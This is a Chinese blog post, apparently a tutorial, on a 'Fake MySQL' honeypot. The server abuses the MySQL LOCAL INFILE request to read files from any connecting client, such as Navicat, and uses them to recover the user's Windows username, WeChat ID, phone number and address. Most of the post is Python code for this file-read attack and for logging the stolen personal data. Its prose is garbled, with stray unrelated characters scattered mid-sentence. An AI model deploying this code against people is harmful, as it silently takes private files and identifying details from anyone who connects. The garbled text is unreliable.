相關(guān)聲明: 以下內(nèi)容僅限用于紅藍(lán)攻防對(duì)抗等專業(yè)領(lǐng)域踏志,請(qǐng)勿用于非法用途。
首先胀瞪,我們先講一下蜜罐的概念针余,你可以簡(jiǎn)單理解較為蜜罐就是一個(gè)陷阱,故意暴露一些我們?nèi)藶樵O(shè)計(jì)好的漏洞赏廓,讓攻擊者自投羅網(wǎng)涵紊。
一、蜜罐介紹
蜜罐是對(duì)攻擊者的欺騙技術(shù)幔摸,用以監(jiān)視摸柄、檢測(cè)、分析和溯源攻擊行為既忆,其沒(méi)有業(yè)務(wù)上的用途驱负,所有流入/流出蜜罐的流量都預(yù)示著掃描或者攻擊行為,因此可以比較好的聚焦于攻擊流量患雇。
蜜罐可以實(shí)現(xiàn)對(duì)攻擊者的主動(dòng)誘捕跃脊,能夠詳細(xì)地記錄攻擊者攻擊過(guò)程中的許多痕跡,可以收集到大量有價(jià)值的數(shù)據(jù)苛吱,如病毒或蠕蟲(chóng)的源碼酪术、黑客的操作等,從而便于提供豐富的溯源數(shù)據(jù)翠储。另外蜜罐也可以消耗攻擊者的時(shí)間绘雁,基于JSONP等方式來(lái)獲取攻擊者的畫(huà)像。
但是蜜罐存在安全隱患援所,如果沒(méi)有做好隔離庐舟,可能成為新的攻擊源。
二住拭、Fake Mysql
這里再提一下Fake Mysql的概念挪略,通過(guò)偽裝Mysql服務(wù)器历帚,誘導(dǎo)攻擊者來(lái)連接,利用漏洞來(lái)讀取攻擊者電腦的文件從而就有了下面的內(nèi)容
三杠娱、蜜罐技術(shù)獲取手機(jī)號(hào)挽牢、微信號(hào)、地址
那么如何通過(guò)這種技術(shù)獲取攻擊者的手機(jī)號(hào)和微信呢墨辛?
正常獲取的思路
我們先來(lái)講一下讀取手機(jī)號(hào)和微信ID的正常方法卓研,分為以下三個(gè)步驟
- 通過(guò)C:/Windows/PFRO.log獲取windows用戶名
- 通過(guò)C:/Users/用戶名/Documents/WeChat Files/All Users/config/config.data獲取wxid
- 通過(guò)C:/Users/用戶名/Documents/WeChat Files/wx_id/config/AccInfo.dat獲取地址、微信號(hào)睹簇、手機(jī)號(hào)
獲取windows用戶名
我們這里在自己的電腦中進(jìn)行測(cè)試奏赘,打開(kāi)C:/Windows/PFRO.log,可以看到我的用戶名是66396
獲取wxid
然后太惠,我們?cè)L問(wèn)C:/Users/66396/Documents/WeChat Files/All Users/config/config.data
這里可以獲取到wxid
獲取手機(jī)號(hào)磨淌、微信號(hào)、地址
可以看到手機(jī)號(hào)
還有地址凿渊、微信號(hào)都有
上面是黑客入侵后梁只,查看電腦中的文件可以獲取到的信息,那么如何設(shè)計(jì)一個(gè)蜜罐埃脏,讓黑客在攻擊時(shí)自投羅網(wǎng)搪锣,幫助我們防守方溯源到攻擊者的信息呢?
【→所有資源關(guān)注我彩掐,私信回復(fù)“資料”獲取←】
1构舟、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書(shū)籍(白帽子)
3堵幽、安全大廠內(nèi)部視頻
4狗超、100份src文檔
5、常見(jiàn)安全面試題
6朴下、ctf大賽經(jīng)典題目解析
7努咐、全套工具包
8、應(yīng)急響應(yīng)筆記
四殴胧、核心代碼
如何把上述過(guò)程進(jìn)行自動(dòng)化呢渗稍?我們可以看下核心代碼
下面的代碼主要有兩個(gè)作用
- 判斷是否為掃描器或者密碼爆破工具,進(jìn)行交互握手团滥,效果是掃描器直接爆3306弱口令免胃。
- 如果是直接連接,去讀取設(shè)定好的文件惫撰,并寫(xiě)入本地保存。
def mysql_get_file_content(filename,conn,address):
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall("xxx")
try:
conn.recv(1024000)
except Exception as e:
print(e)
try:
conn.sendall("xx")
res1 = conn.recv(1024000)
# SHOW VARIABLES
if 'SHOW VARIABLES' in res1:
conn.sendall("xxx")
res2 = conn.recv(9999)
if 'SHOW WARNINGS' in res2:
conn.sendall("xxx")
res3 = conn.recv(9999)
if 'SHOW COLLATION' in res3:
conn.sendall("xxx")
res4 = conn.recv(9999)
if 'SET NAMES utf8' in res4:
conn.sendall("xxx")
res5 = conn.recv(9999)
if 'SET character_set_results=NULL' in res5:
conn.sendall("xxx")
conn.close()
else:
conn.close()
else:
conn.close()
else:
conn.close()
else:
try:
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content=''
while True:
data = conn.recv(1024)
print len(data)
content += data
if len(data) < 1024:
print 'ok'
break
conn.close()
item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
if len(content) > 6:
with open(item, "w") as f:
f.write(content)
f.close()
return (True,content)
else:
return (False,content)
except Exception as e:
print (e)
except Exception as e:
print (e)
為了防止讀取文件內(nèi)容不完整躺涝,可以加入while
循環(huán)厨钻。
while True:
conn, address = sv.accept()
first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
global files1
global username
global wx_id
file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
res,content = mysql_get_file_content(file,conn,address)
files1.append(files1[0])
files1.remove(files1[0])
if res:
if 'PFRO' in file:
username = get_username(content)
s= "xx" % (xx)
cursor.execute(s)
data = cursor.fetchall()
if len(data)==0:
s = "XX" % (xx)
cursor.execute(s)
db.commit()
print 'success:'+ file
insert_file(file,address,username)
elif 'config.data'in file:
content = content
wxid = re.findall(r'WeChatFiles\(.*)\config', content)[0]
sql = "xxx" % (xxx)
cursor.execute(sql)
db.commit()
wx_id=wxid
img = qrcode.make('weixin://contacts/profile/'+wxid)
img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')
print 'success:'+ file
insert_file(file,address,username)
elif 'AccInfo' in file:
content = content
phone = re.findall(r'[0-9]{11}', content)[-1]
sql = "xxx" % (xxx)
cursor.execute(sql)
db.commit()
print 'success:'+ file
insert_file(file,address,username)
else:
files1=files
username='Administrator'
部署方法
我們需要先將工具下載下來(lái)傳入服務(wù)器
然后修改webServer.py
中admin的密碼扼雏,當(dāng)然,你也可以更換用戶名夯膀,這個(gè)根據(jù)個(gè)人習(xí)慣來(lái)修改诗充。
然后通過(guò)docker啟用服務(wù)
然后運(yùn)行本項(xiàng)目
docker-compose up -d
使用方法
攻擊者通常會(huì)發(fā)現(xiàn)我們網(wǎng)站的一些漏洞,我們這里使用蜜罐技術(shù)诱建,故意暴露我們的數(shù)據(jù)庫(kù)蝴蜓,我們數(shù)據(jù)庫(kù)這里設(shè)置弱口令,讓攻擊者可以連接衙傀。
攻擊者在使用navicat連接我們的數(shù)據(jù)庫(kù)時(shí)成功后压语,我們可以執(zhí)行代碼鼻听,讀取到它的手機(jī)號(hào)、微信號(hào)诵冒、地址
并可以在5000端口訪問(wèn)后臺(tái),輸入我們剛才設(shè)置的admin以及密碼fancypig
然后就可以看到攻擊者信息了谊惭!參考文獻(xiàn)